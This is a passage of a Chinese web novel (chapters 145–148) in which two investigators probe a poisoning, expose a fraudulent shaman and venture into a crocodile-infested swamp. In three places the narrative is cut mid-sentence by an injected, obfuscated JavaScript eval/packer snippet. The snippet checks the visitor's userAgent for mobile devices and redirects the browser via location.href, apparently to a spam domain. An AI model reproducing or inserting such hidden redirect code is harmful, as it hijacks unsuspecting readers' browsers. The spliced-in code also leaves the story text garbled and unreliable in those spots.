“我凭什么相信你?”周老冷眉冷眼道:“事情已经过去了这么多年,若陛下不同意归降,你又该如何呢?这是一场豪赌,恕老朽实在不能冒险。” 众人叽叽喳喳地讨论起来,你一言我一语的。 “是啊,周老说的有道理!” “我们可不想死啊!” “斗了这么多年,朝廷肯定恨不得将我们挫骨扬灰吧!” …… “如果说,某愿以性命为赌注呢?”万灵安突然起身说道,“如果她查不出凶手,亦或者她说服不了陛下,某愿一死,以安诸位之心。” 此言一出,四下都陷入了安静。 145. 以命相赌 “万灵安,你是不是疯了?” 回到木屋后,景暄和还是有些惊魂未定,“以你的命为赌注,可若到时候我失败了,你难道真的要去死吗?” 她的头发被雨气弄湿了,眸子也好像被雨洗过一般。 万灵安淡道:“堤坝在他们手中,主动权也在他们身上,如果我不这样做,怎么能跟你争取到这最后的机会?” 看着他那么淡定的样子,景暄和没好气道:“好好好,你说的有道理,可你的命太贵了,我赌不起。” “你不是说,想看到我死吗?”他鸦青色的睫毛微微抬起,眸中晦暗难明。 景暄和咬了咬牙,“可也不是在这里,我想的是堂堂正正地将你打败,而不是让你这样不明不白地死了。” 万灵安似是笑了,轻轻垂下头。 “你笑什么?” “没什么,我只是在想,你生气的样子,很像我养的某只兔子。” “你还敢提那可恶的兔子?”景暄和搬了个椅子坐下,“我还没问你,你来望春县是干什么的,不在顺天府享福,跑到这里来做什么?” “你就当我闲来无事吧,我这身子,不光有寒毒,还生过重病,也许不知道哪天就……”他没有继续说下去,而是用余光注意着景暄和的表情。 景暄和眉头蹙起,直直地望向了他。 “庄大夫说我心有郁结,必须好好休养,反正都是休养,在哪里不行呢?起码在望春县,我还能够开心一点,不至于像一具行尸走肉。” 四目相对,景暄和没有说话。 只觉得心中像被堵住了一般,她红唇微动,却不知该说些什么。 万灵安很不习惯她那副纠结的表情,便换了个话题道:“人人心中都有秘密,你可知道,周粲为什么一直戴着鬼面?” “你知道原因?”景暄和果真来了兴趣。 “刚来望春县时,我命庄炎给我看过县志的拓印本,其中有一则记录,说是一个十岁的少年为了给弟弟妹妹治病去偷阮家的银子,结果被抓了,狱卒对他施了黥刑,将那少年脸上刻了‘盗窃’二字。” “你是说,那个少年就是周粲?” 万灵安点头,“后来,那少年被人所救,不知所踪,我猜当时应该是周老救了他,所以他才尊他为义父,将他的话奉为圭臬,这些年来将他当做亲人一般。” “怪不得他一直都不肯摘下那鬼面,竟是因为这个。” 悲惨的童年加深了他的仇恨,而脸上的刻字更是伴随一生的耻辱,时时刻刻提醒着他那段暗无天日的过往。 这样的刺字,洗不掉,也忘不掉,实在是对他人格的一种摧残。 怪不得,他是如此喜怒无常,又手段狠辣。 景暄和肚子突然不合时宜地叫了两声,她许久没有吃饭,此刻倒是有些饿了。 万灵安起身,似要推门出去。 “你去做什么?” 他说:“某腹中饥饿,去厨房找些吃的。” 一炷香后,他端了碗面过来,上面卧了只鸡蛋。 万灵安将面碗推给她,说:“也许是中午剩下的,多了一碗。” “真奇怪,现在不是饭点,竟会有面吃?” “可能是你运气好吧。” 景暄和心想,都这个时间了,就算剩下的,怎会是热气腾腾的呢?又望见他的手上似乎被烫了一个泡,仿佛猜到他刚才去做了什么。 不过委屈什么都不能委屈自己的肚子,这个道理她还是懂的,她拿起筷子,开始吃了起来。 这面是最简单的阳春面,十分清淡,好在暖和,足以慰藉她的味蕾。 “是余嬷嬷做的吗?” “也许吧。” 她也没拆穿他,如今黑风寨上下都知道他们是官府的人,怎会还给他们好脸色呢?更别提留碗面给他们了。 景暄和终于吃完了,擦了擦嘴,对万灵安说:“替我谢谢余嬷嬷。” 她拿了把伞,就要出门。 “你去做什么?” 这回该他问她了。 “探案去。”景暄和撑开伞,在雨中回头对他说:“我可不想你真的因我而死,这个人情太大了,我才不想欠你的。” 不想欠他嘛…… 万灵安望着她离去的背影,哑然而笑,他倒宁愿她欠着他,只有互相亏欠,才不会相忘。 刚才看着她吃面,一瞬间他仿佛忘却了如今的阴雨连绵,而是想到了很多美好的事物——譬如春日里最明丽的花,夏日里最热烈的阳。 从始至终,他所求的,不过是这份温暖。 *** 雨滴狂乱地敲打着窗户,空中突然炸开了闪电,悬崖顶的屋子独自屹立在那里,仿佛亘古就有的孤灯。 周粲对着镜子,摘下了那鬼面。 又是一个惊雷,镜中的他恍若厉鬼一般,他直愣愣地盯着脸上丑陋的刻字,不发一言。 “盗窃”…… 这两个字从十岁开始就伴随着他,直到现在,他从来都不敢照镜子,只有戴上鬼面,他才仿佛与正常人无异。 可是今天,他突然命人搬来一面镜子。 他想看看,自己现在到底是什么样子的…… 方正的脸,浓黑的眉,充满戾气的眼。 到底从什么时候开始,他的心逐渐被仇恨占满了呢? 突然一阵头晕目眩,他跌坐在椅子上。 “来人,我要沐浴!”周粲吩咐了一声,手下赶忙让丫鬟给他准备热水。 泡在热水中才好像活了过来,他两只手搭在浴桶边沿,将脖子后仰,缓缓地闭上了眼睛。 景暄和是在半个时辰后才来找周粲的。 她跟在周粲手下的后面,敲了敲门,里面没有声音。 又敲了敲门,还是没有声音。 “也许大当家的睡着了吧。” “他那么警觉的人,会睡得这么死?”景暄和很有些不信,“他已经沐浴了多久了?” 手下思索了一下,“不到一个时辰吧。” 不好…… 她有预感,周粲一定是出事了。 “你们信我!大当家的有问题!” 手下们狐疑地望着她,又不敢担责任,赶忙踹开了门。 帘幔飘动,男人在浴桶中一动不动的,景暄和顾不得男女之防,掀开帘幔,果然见他陷入了昏迷。 “快!快叫几个人将他抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“刚才一直都好好的,只是喝了二当家的给他的一杯茶,就有些头晕了,还浑身发冷,嚷着要沐浴……以前,大当家的可从来不会在白天沐浴的。” 景暄和一惊,难道是他们兄弟阋墙,感情并不是看起来的那么好? 可为什么偏偏选这个时候给周粲下毒呢? 周巡与周岑岑也赶了过来,看到周粲的样子皆是大惊。 景暄和一直都在关注周巡的表情,只见他关切地望着病床上的男人,如果是在演戏,这演技也太高超了吧。 “大巫,将大巫叫过来吧!”周巡提议道,“以往大家生了病,都是大巫过来祛病除灾的,这次肯定也是一样!” 周粲倒下了,大家都以周巡马首是瞻。 景暄和本想说是“中毒”,可万灵安却对她使了个眼色,他倒想看看,他们葫芦里卖的什么药。 不一会儿,大巫就被簇拥着过来了,他脸上涂满了油彩,一身灰色的长袍,下面挂着几只铃铛。手中握着一只青蛇式样的法杖,身上挂了一个布袋子,里面满满当当的全是深黄色的符咒。 一看到周粲,他就大惊失色地说:“大当家的中邪了!必须要除掉邪祟,才能保他一命!” 众人赶忙在房间里放上了桃木桌,大巫拿着法杖,嘴里不知在念些什么。 他突然睁开眼,像被鬼上身一般在屋子里乱走,边走边念,最后停在了景暄和前面。 “邪祟——邪祟就是这个女子!”他用法杖指着她,“必须烧死这个女子,大当家的才有救!” 146. 火中生莲 “靖萱……靖萱……” 这时,周粲嘴里又喃喃念道,他似乎很难受,只是一直在念这个名字。 听到他说什么,周巡与周岑岑脸色俱是一白。 景暄和没有放过他们脸上细微的表情变化,默默地存了一个疑。 难道他们也知道这个女子? 大巫自然听到了周粲的低喃,他突然说:“是靖萱姑娘!靖萱姑娘回来索命了!就附身在这女子的身上!这女子叫景暄和,连名字都和靖萱姑娘那么相似!” 靖萱…… 景暄和…… 听起来好像只差了一字。 周巡的脸上带着不自然的惨白,看景暄和的眼神像看见鬼一般,可她却清楚地看到了某种眷恋,甚至是……怀念。 周巡也对靖萱有情。 这个念头一出,景暄和竟忘了此刻的危机。 谁曾想,万灵安突然轻笑了起来,他的笑声在黑压压的房间中有些不合时宜,众人都往他的方向望去。 “有意思。”他拍了拍巴掌,负着手走到了人群前面,“大巫的意思是,必须以这女子的性命换大当家的性命,对吗?” “她与大当家的命中相克,如果她活着,大当家的就醒不来了!”大巫煞有介事道,仿佛他的话就代表着天神的权威。 景暄和心想,幕后之人八成就是冲着她来的,那人想害死她,不就是怕她查案子吗?不过,用大巫当借口倒让人有口难辩了,毕竟玄学的东西,全凭一张嘴,她无法拿出实实在在的“证据”来反驳。 就像大家说某人不祥或者克夫,那人就算全身长满了嘴也分辩不了,只能打碎牙齿往肚里咽。 这一招实在是太歹毒了! 万灵安若有所思地点点头,神态自若道:“巧了,我的祖上也是大巫,传到我这一辈来,已经数百年了,不瞒你们说,我身上还带着些粗浅的通神之力,愿与大巫比试一番,若是我赢了,那么如何应对大当家的中邪,就该听我的了。” 此言一出,众人都来了兴味。 景暄和更是瞪大了眼睛,万灵安这是唱的哪一出? 他没有否认“中邪”之说,反而是想正面挑战,不得不说,实在是绝妙。 她自然是了解他的,没有十成十的把握他是不会这样说的,可是“通灵之力”,又从何说起呢? 大巫冷哼了一声,“小子,就凭你也想与我比通神之术?” “难道大巫是不敢吗?”万灵安睥睨道,明明是简单的一句话,却气势逼人。 大巫只觉背脊发凉,可是大家都看着,他也不好意思怯场,终于定了定心神说:“好,比就比!我堂堂的大巫还会怕你这毛头小儿吗?” 他从随从的手中取过一把剑,道:“我从小就与师傅修炼仙法,早已练就了金刚不坏之身,今天我便展示‘吞剑术’,也算是让你小子心服口服了。” 万灵安做出一个“请”的手势。 大巫深吸一口气,嘴里念了几句咒语,他仰头,张开嘴巴,将剑缓缓地插入喉咙之中…… 众人啧啧称奇,景暄和却嗤笑了一声。 “不过是江湖骗子哄小孩的玩意儿罢了。”她上前一步,从大巫手中夺过那把剑,“你们看看,这剑是可以伸缩的!就是一把道具剑!” 她一拉一缩,那剑也随之变长变短。 大巫面露尴尬,就差找个地缝钻进去了,那眼神却恶狠狠的,仿佛想将她生吞活剥。 景暄和也毫不畏惧地瞪了他一眼。 他都要烧死她了,还不许她拆穿他的小把戏吗? “臭丫头,算你狠,可是小子,难道你就会什么高级法术吗?” 万灵安反唇相讥道:“高级倒谈不上,可也绝不会耍些江湖骗子不入流的手段,贻笑大方。” 景暄和适时地补刀:“那可不,有的人啊,自己不知几斤几两,还想要人性命,心思也忒恶毒了些吧!岂不知修仙悟道之人都是良善之辈,慈悲为怀,怎会动不动就要烧死无辜之人呢!” 大巫脸上红一阵白一阵,仿佛连浓重的颜料都遮挡不了他的羞愧。 “某虽不才,祖上倒也传过一‘火中生莲’之术,二当家的,可否派人取一火盆过来,我便可以施展此术了。”万灵安声音清朗道。 火中生莲? 大家从未听过世间还有这种术法,难道这清隽的男子真是活神仙下凡不成?! 周岑岑更是惊讶得合不拢嘴,“你说的可是活生生的莲花?火盆中怎么能长出莲花呢?” 万灵安道:“正是,火中能生莲,只要心诚则灵。” 周巡点头,派手下取火盆过来,他倒要看看,大火中是怎样能生莲的! 火盆已经就绪,火势很旺,橙红的火焰炽热而明亮,吐出阵阵火舌。 万灵安从口袋中拿出一颗莲子,给众人展示了一番。 他做了一个道家结印的手势,声音清冽道:“一壶藏世界,三尺斩妖邪,解造逡巡酒,能开顷刻花。”(1) 话音刚毕,便将莲子投入了火盆之中。 下一秒,神奇的事情发生了,火盆中竟真的冉冉升起一朵金灿灿的莲花! 大家鸦雀无声,有的甚至揉了揉自己的眼睛,实在是难以置信。 万灵安姿态优雅,将莲花带茎摘走,放入了口袋之中,动作行云流水,好似谪仙一般。 景暄和惊喜道:“这下你们该相信他说的是真的了吧!” 周巡对着万灵安恭敬地施了一礼:“周巡竟对神仙不敬,实在是罪该万死,还请神仙恕罪!” 众人看到连二当家的都对他这么恭敬,也学着他的样子对万灵安施礼了。 在这之后,万灵安从口袋中掏出一个丹药给周粲服下,说:“大约一个时辰他便能好转了,你们仔细照顾他,不要出一点差错。” “是!” 万灵安与景暄和终于离开了悬崖上的屋子,一路上都没说话,待回到自己的木屋中,景暄和将椅子抵住门,才长长地吁了一口气。 刚才真是太险了。 “我不过是想从周粲开始查起,他是死者的儿子,从他口中得出的第一手资料肯定是最有用的,谁知他却昏迷不醒了,紧接着大巫就来了,还上演了这一连串的戏码,差点着了他们的道。不过我敢肯定的是,当年的凶手还躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13957755|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在黑风寨中,如此急不可耐想取我性命,就是不想我去查当年发生的事情!” “你怕了?” “笑话,我才不怕!要说怕也是凶手害怕,不然那人为什么弄出这么一大摊事情?对了,你给周粲吃了什么,为何如此笃定他马上便能苏醒呢?” “庄大夫在我临走时给我装了几颗牛黄解毒丸,我看他神志不清,目赤肿痛,却不会危及性命,便想着此药应该能解他的毒。” 景暄和点点头,抱着臂,又望向了他的口袋,“你这口袋倒像个百宝袋,没想到竟能看到‘火中生莲’的场景,到底是怎么做到的?” 天知道她刚才有多么紧张,生怕莲子扔到火中不会有反应,还好最后是她想看到的结果。 万灵安淡淡一笑,将那“荷花”拿了出来。 景暄和接过花,啧啧称奇道:“居然是用通草做的,上面染了金灿灿的颜色,不仔细看还以为是真莲花呢!怪不得你刚才立马就将莲花摘了下来,要是被他们发现了就露馅了。” “原理很简单,那莲子是事先被剖开的空心莲子,用铜丝盘成弹簧的样子,穿入荷梗后,另一端连上一个铅弹丸,这铅弹丸很小,微不可查。将它们一起藏在空心莲子之内,再用胶漆粘合。当莲子投入火盆之时,胶漆烧化,铜丝将荷花弹出,达到‘火中生莲’的效果。” “竟是这样!玄机在莲子内!只是,你怎么会有这种稀奇古怪的小玩意儿呢?” “还不是庄阳之前研究的小玩意儿,庄大夫糊里糊涂竟给我带上了,我还嫌占位置,谁知冥冥之中竟派上了用场。” “不过你的反应也真是快,竟想到了以毒攻毒,我看那大巫的鼻子都快被你气歪了!”景暄和一想到他滑稽的表情就觉得解气,不禁哈哈一笑。 二人你一言我一语,原本湿冷阴郁的空气都变得温暖热烈起来。 景暄和像是想起了什么,“差点忘记了一个细节,当时一片混乱,你注意到周巡的表情没有?” “周巡?” “周巡就是二当家的,在你们来之前,周粲的亲信说他在毒发之前是喝了周巡给他的一杯茶,你说会不会凶手和周巡有关?” “有两种可能,第一,周巡为了掩护真凶,故意下毒引你入圈套,第二,那茶是凶手下的毒,周巡不过是被凶手利用而已。” “可周粲和周巡兄弟二人看起来感情很好,我实在想象不到,周巡竟然会想害他的哥哥,又或者,他是有什么不得已的苦衷呢?” “眼见不一定为实,这世上很多事情都是以‘不得已’为借口,可是错了就是错了,做错事就应该付出代价。” 不知怎的,景暄和觉得万灵安好像意有所指。 她又说:“在周粲迷迷糊糊的时候,我好像听到他在唤一个女子的名字,靖萱,对,就是叫这个名字没错。当时大巫说我被这姑娘附体了,周巡看我的眼神好奇怪,就像是在追忆在自己的意中人一般,难道当年他们兄弟二人是爱上了同一个女子,才生出嫌隙的?” 景暄和下定了决心,“不管怎样,这是一个突破口,我会从这女子的事情开始查起,希望能找到有用的线索。” 147. 窗外幽灵 窗外的雨渐渐小了,细雨如丝,烟雾一般笼罩着望春山。 周粲终于清醒了过来,只是身体还很虚弱,寨中的事务便由周巡打理。 景暄和与万灵安一道去找周岑岑,经过与大巫的比试后,黑风寨的人对万灵安又敬又畏,一路上都恭敬地朝他行礼。 “没想到万大人在黑风寨还能领会到内阁首辅的派头。”景暄和挑了挑眉,小声地对他说。 万灵安不置可否地笑了笑。 二人并肩走在细雨之中,没有打伞,潮湿路面上积水的倒影明暗交杂,仿佛将世界变得抽象起来。 万灵安长身玉立,步伐稳重,景暄和脚步轻快,轻灵如燕,二人虽一起行走,却各自有各自的步调,咫尺之间,仿佛若即若离。 周岑岑倚在窗边,看到的便是这幅场景。 “岑岑,冒昧打扰你休息了,实在是不好意思。”景暄和拍了拍头上的雨滴,歉意一笑。 “反正我大哥也醒了,他心疼我,要我回来休息一下,我现在无事,不打紧的。” “我们今天来是想问问你靖萱姑娘的事情,不知……方不方便?” 周岑岑脸色微变,她给景暄和与万灵安倒了茶,道:“这件事说来话长,在靖萱姐姐死后,这个名字就再也没有在黑风寨中被提起过了,久而久之,大家好像渐渐地忘记了这个名字,人死如灯灭,靖萱姐姐仿佛埋进了历史的尘埃之中。” “她是什么时候去世的?”万灵安问道。 “如果我没记错的话,那是十年之前的事情了,那个时候我还是个小不点,大哥二十出头,二哥也才十八岁。谁也没有想到,才十七岁的靖萱姐姐会那样死去。”周岑岑叹了口气,似乎在感叹红颜薄命,“她是个很特别的女子,爱说爱笑,张扬幽默,大家都很喜欢她,我有次撞见,二哥似乎在与她表白,二人难舍难分的样子。” 景暄和与万灵安对视一眼,这女子身上果然有故事。 “那天傍晚,靖萱姐姐就这样不见了,丫鬟说她误入了后山的沼泽之中,被鳄鱼吃掉了,尸骨无存。”周岑岑一想到当时发生的事情就有些后怕,不禁捂住胸口说:“后山有一片很大的沼泽,听说一不留神就会被吞没,所以从小到大,哥哥们都不让我过去,我们不知道,为什么靖萱姐姐那日要独自去那么可怕的地方。” “确实有些蹊跷,若她当真与你二哥有情,何不大大方方地和大家说清楚,这也不是什么大不了的事情啊。” 周岑岑摇了摇头,“我也不知道,可是大哥……好像不同意他们的婚事。” “难道……你大哥也喜欢靖萱姑娘?” 周岑岑说:“大哥一心痴迷武学,男女情爱于他而言不过是过眼云烟罢了,还没有武功秘籍对他吸引力大呢,我敢肯定,大哥不喜欢靖萱姐姐。” “那他为什么棒打鸳鸯?” “靖萱姐姐是一个孤女,母亲难产而死,父亲也重病而亡,家里已经没有一个亲人了,大家都说她是不祥之人,我猜大哥顾虑的便是这点。自从父母死后,长兄如父,他不希望我和二哥受到一丁点伤害,自然不会想二哥娶这么个不祥之人。” 景暄和陷入了沉思,没想到原因竟是这个。 可是……周粲在神志不清的时候为什么会念她的名字呢? “大巫说经过占卜,靖萱姐姐是因为被邪灵入体才自尽的。”周岑岑说。 景暄和摇了摇头,“那个庸人说的话怎么能当真?那套说辞反反复复,不过是骗人的玩意儿罢了……对了,大巫是一直都在黑风寨吗?” “有一年疫病横生,寨中很多人都染病了,就在那个时候,周老领着大巫过来给大家看病,很多人都被治好了,所以大家都觉得大巫的巫术过人,对他十分崇敬。” “我猜他不过是个江湖游医,会一些医术,却将医术说成是巫术,就是想让大家对他刮目相看,毕竟相比于医术,巫术听起来更加的玄幻也更让人畏惧。” “以前我十分崇敬大巫,可是今天看来,你身边的这位先生好像更厉害。”周岑岑不好意思地望了万灵安一眼。 万灵安道:“不过是雕虫小技,不足挂齿。” “话说回来,自从靖萱姐姐死后,大哥和二哥就有些疏离了,可能外人看不出来,但我身为他们的妹妹,夹在中间自然有些为难,这么多年过去了,他们兄弟二人才逐渐变成原来的样子,可是中间的裂痕,却不知还在不在。” 门外似乎响起了脚步声,周巡推开门,看到万灵安与景暄和也在,似乎有些讶异。 他手中端着一个托盘,里面是一碗安神药。 “岑岑,今天的事情把你吓坏了吧,这是二哥为你准备的药,乖,喝下去吧。” 周岑岑点头,接过药。 景暄和突然想起今日周粲亲信的说辞,不由得试探着对周巡说:“二当家的,今天你好像给了大当家的一杯茶,大当家的平时喜欢喝什么茶呢?” “他喜欢喝野姜花茶,望春山上长了许多野姜花,漫山遍野,白色如蝴蝶一般,小时候,我总是和哥哥去山上玩,这些花花草草我们早就见怪不怪了。”他的表情似乎带着对往事的追忆,目光也渐渐变得柔软起来。 “那他平时喝的野姜花茶是放在厨房吗?” “放在他房间的罐子里,这罐子就在窗边,方便下人们拿取,不过这段时间都是我帮大哥泡茶的,今天罐子里只剩下了最后一点,我便将它们都泡了。” 也就是说,不光周巡可以拿到,其他人也可以,甚至能往里面投毒…… “二哥,我们在说靖萱姐姐的事情。我想,你应该比我更有发言权吧。” 周巡似乎愣了一下,“还有什么好说的呢?她都死了。” 他的目光有些颓废。 这时,周粲的亲信过来了,对景暄和说:“景姑娘,大当家的想见你。” “见我?” “是。” 景暄和颔首,便要起身。 万灵安却说:“我同你一起去。” “可是大当家的说了,只想见景姑娘一个人。” “他也没说,不能让我站在门外吧。”万灵安负着手道。 *** 他们一起来到了悬崖上的屋子。 这是她今天第二次来,不同于第一次的兵荒马乱,这一次房间里很安静,仿佛连针掉在地上的声音都能听见。周巡仍是躺在床上,他挣扎着起身,靠在了枕头上。 突然摸了摸脸,居然没有鬼面,似乎很不习惯,想去够那面具。 景暄和看到面具在桌子上,便拿起来递给他。 周粲赶忙想要带上,景暄和却说:“你的样子我早就看到了,现在戴与不戴对我来说没有区别了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13972024|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我的样子……没把你吓到?” “怎会?我可是与犯人和尸体打交道的,再可怕的东西在我心中也是寻常了,更何况只是脸上的刺字。” 周粲喉结滚动了一下,慢慢地将鬼面放在一边。 “听说是你发现我昏迷了?”他面容虚弱,眼神不敢去看景暄和。 不知怎的,没有了鬼面的加持,周粲好似失去了与人对视的勇气。 “我想多了解一些你父亲的事情,谁知道,却看到你昏迷的场景,便叫人过来帮忙了。” “谢谢你。”他的声音很轻,眼神却很深沉。 “什么?”景暄和似乎有些不信,大名鼎鼎的黑风寨大当家的居然会给她道谢。 周粲解释道:“我这一生从不轻易言谢,可也不是凉薄之人,不分好赖。” “好吧,那我就接受你的感谢了。”景暄和眸中带笑道。 周粲说:“我还是更习惯你这个样子,之前矫揉造作的柔弱模样,真是让人看不惯。” “那还不是怕我‘黑煤球’的形象给你造成的心理阴影太大了?”景暄和竟有心情开玩笑了。 “哼,我堂堂寨主,岂会怕一个‘黑煤球’?”周粲笑道。 “那说说你父亲的事吧,当年你的父亲,到底是个怎样的人?” 周粲的眸子暗了暗,“我们家是风水世家,从小便在周家坳居住,虽不是大富大贵,却也衣食无忧,镇子上的人要合八字、断吉凶,全都会找我们家。我父亲爱上了我母亲,却遭到了反对,长辈说他们八字不合,在一起会有血光之灾。 我父亲却还是执意娶了母亲,谁知后来,家中却连遭变故,连风水生意也做不下去了,父亲借酒消愁,将这一切都怪到了母亲头上,后来甚至还娶了一房小妾,母亲含恨而死后,我们家的情况并没有好起来,反而更坏了。” “所以在周巡与靖萱姑娘相爱后,你表示反对,是不是也想到了你父母的事情?” 周粲脸色一沉道:“靖萱自幼就被人说不祥,我曾私下合过他们的八字,发现十分不合适,若要强行在一起,必不会善终。” 景暄和突然觉得有些可惜,一对有情人,就被这虚无缥缈的东西硬生生地给拆散了。 “靖萱死后,周巡就再也没有想过娶妻了,我一直在想,当年,我是不是做错了。”周粲顿了顿。 “可是,你昏迷的时候,为什么会默念靖萱的名字呢?” 周粲眸中一冷,“在我沐浴的时候,窗边似乎有一个女人的脸一闪而过,那是靖萱!我感到自己的脖子被掐住了,昏迷之前,我就在想,一定是靖萱过来索命了!” “掐你脖子?”景暄和将周粲下巴抬起,仔细观察了下,“没有掐痕,你是不是出现了幻觉?” “那感觉太过真实了,我呼吸不过来,甚至说不出话,眼前一黑,就昏过去了。” 景暄和皱了皱眉,又往窗边而去,她推开窗,往下一看,竟发现窗下有一个脚印,似乎有红泥。 难道……真的有女人在窗外看着周粲? “我只看到了红泥脚印,这泥土很特别,是酒红色的,你知道哪里有类似的红泥吗?” 周粲目光踯躅,僵着脸道:“那是……望春山的沼泽地,只有那处才有红色的泥土……” “当初,靖萱就是在那沼泽出事的。” 148. 沼泽惊魂 “一定是有人在装神弄鬼!”景暄和出了屋子后,对万灵安说,“那人不光藏得极深,还对黑风寨的秘辛了如指掌,甚至知道周家兄弟与靖萱姑娘的往事。” 万灵安指了指窗边的脚印道:“这红泥也像是有人故意为之的,想将大家的目光引到鬼神之说上。” “岑岑说靖萱是个乐观积极的姑娘,我不相信这样的人会因为一点小事就放弃自己的生命,更不相信大巫那邪灵入体的说法。” “你似乎对下一步有了主意?” “我想去那沼泽一探。”景暄和朗声道,“那地方肯定有古怪,我总觉得,那片沼泽有着不可告人的秘密。” 万灵安沉吟了一下,“好,那就让周小姐派个熟悉地形的人带我们去吧。” “你竟然不反对?”景暄和睨了他一眼,“他们都说,那个地方很危险,即使这样,你也愿意和我一起去吗?” “来都来了,不去一探岂不可惜?”万灵安掷地有声道。 *** 最后,是余嬷嬷带他们去的。 景暄和其实有些惊讶,余嬷嬷是个老妪,没想到周岑岑竟会让她来带他们。 余嬷嬷在黑风寨资历很老,一板一眼的,大家都很怕她,但她年轻时也是个喜欢探险的姑娘,对于望春山的一草一木不可谓不熟悉。周岑岑说,人不可貌相,余嬷嬷虽然老了,记路的功夫可是一流的,其他人可能会在森林中迷路,可是余嬷嬷是绝对不会走丢的。 他们准备了一些工具,还有粮食和水,周岑岑特地从武器库里拿出了一把刀与一柄剑借给他们,景暄和平常绣春刀用惯了,只觉得这刀削铁如泥,很是利落,万灵安便选了剑,哗哗几个剑花,似乎很满意这武器。 余嬷嬷说后山情况复杂,特别是靠近沼泽的地方,一定要跟在她后面走,千万要当心。 后山有一大片杉树林,杉树长在水中,如一个个高大的巨人,水中怪石嶙峋,余嬷嬷指着那些石头说:“这些石头看起来稳固,其实很多都是浮石,如果摔到了水中,可不要怪我没提醒你们。” “余嬷嬷,我们都会凫水,即使落到水中也不要紧的。” 余嬷嬷没好气道:“你这小姑娘,就是将事情想得太简单了,这水中不光有水蛇,还有……鳄鱼呢。” “鳄鱼?” “所以才得更加当心,跟在我后面,不要擅作主张。” 万灵安点头说:“多谢前辈,我们一定小心行事。” 他们跟在余嬷嬷后面,竟走了一个时辰才穿过这片杉树林。 “余嬷嬷,听说你是岑岑的乳娘?那一定对周家很了解了?”景暄和见危险解除了,不禁问出了自己的问题。 “那是自然,我从小就被周家的老太爷收养,对这里的一切都很熟悉。”余嬷嬷头也不回道。 “听大当家的说,周家是风水世家,后面却落败了,我在一处古墓之中发现了周家家主和兄弟的遗骸,难道他们后面,从事的是盗墓的营生?” 余嬷嬷停住了脚步,周岑岑特意交代过她,景暄和是来帮助查案的,要她知无不言,言无不尽。 “这本不是什么光彩的事情,当初周家银钱短缺,家主压力很大,为了还债,只能去盗墓,后来他觉得这件事情有损阴德,便金盆洗手了。大约二十年前,有一个神秘人找到家主,说愿意出一大笔钱,只要家主与他去一处古墓。”余嬷嬷叹了口气,“家主明明已经拒绝了,可是不知怎的,后来又说要出门做生意,消失了一段时间,不久后竟传来了投河自尽的消息。” 万灵安说:“想必他们明面上拒绝了,那人却威胁他们,周家家主最后还是带着兄弟们去了,谁知竟殒命在了那里。幕后之人不想暴露自己的真实意图,便将周家家主的死怪到了官府的头上。” “这我就不知了,这件事是大当家的心里的一道坎,这些年来我们都没有说起过。”余嬷嬷眼中泛起了无奈,“大当家的这些年也不容易,黑风寨这么多人都要仰仗他,他不能行差踏错一步,平时连笑都很少,实在是苦了他了。” 景暄和心想,朝廷若能招安周粲,便是两全其美了,周粲不用再担心朝不保夕,朝廷也不用花银两来剿匪了。 转念一想,二十年前,幕后之人一定是看中了周粲父亲精通风水与阴阳五行,很多时候,大墓的建造者都会用五行八卦来选定位置,也只有风水先生才能发现古墓的所在。 不多时便来到了一处小径前,这条小路旁是茂密的松树,余嬷嬷停住了脚步:“老身只能送你们都这里了,周氏家族有许规矩,周家人不能进入,老身会在这里等你们,你们穿过这小路,路的尽头就是沼泽了。”她还不忘提醒道:“沼泽的对面是更是禁地,那里有一口神井,名叫‘小归墟’,已经被封住了,传说中那里封印着地狱的恶魔,你们千万不要靠近……” “小归墟?”景暄和不由得重复了一遍她的话,没想到传说中的小归墟就在沼泽的对面,真是得来全不费工夫。 二人谢过余嬷嬷,便往小路而走,只觉得四周越来越安静,道路也越来越逼仄。 万灵安见景暄和踌躇满志的样子,问道:“你刚才听到‘小归墟’的名字,似乎……很兴奋?” “如果我说,我不光要去沼泽一探,还要去‘小归墟’看看呢?”景暄和说这话的时候很认真,于景涟诗句的线索就是指向这里,她有预感,如果能进入小归墟,那么藏宝图的秘密便可真相大白了。 只是,这地方被传得这么玄乎,也不知是不是真的。 作为唯物主义战士,她可不信里面有什么妖邪。 万灵安只是笑了笑,“甚好。” “甚好?” “都以命相赌了,难道还会害怕吗?” 他狭长的眼眸好似风吹过的麦浪,看景暄和的时候,时间仿佛静止了。 一炷香后,他们来到了沼泽,这沼泽很大 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景暄和从没看过如此庞大的鳄鱼,她灵活地一跳,再次躲避了袭击。 万灵安听到了动静,看到这两条巨鳄也吃了一惊,不过他很快回过神来,足尖轻踏,来到了景暄和的身边。 他们二人背靠着背,均是严阵以待。 万灵安道:“你斗这只,另一只交给我!” 景暄和点头,飞身与第一只鳄鱼搏斗起来。 鳄鱼的眼中闪过愤怒的光芒,一声咆哮,景暄和拿着刀刺向它的眼睛,却被它给躲过了。 它蓄势待发,再次朝景暄和扑来,她身形灵活,利用鳄鱼转身的瞬间,将刀刺入了它的脊背,鳄鱼挣扎着逃脱,隐入了沼泽之中。 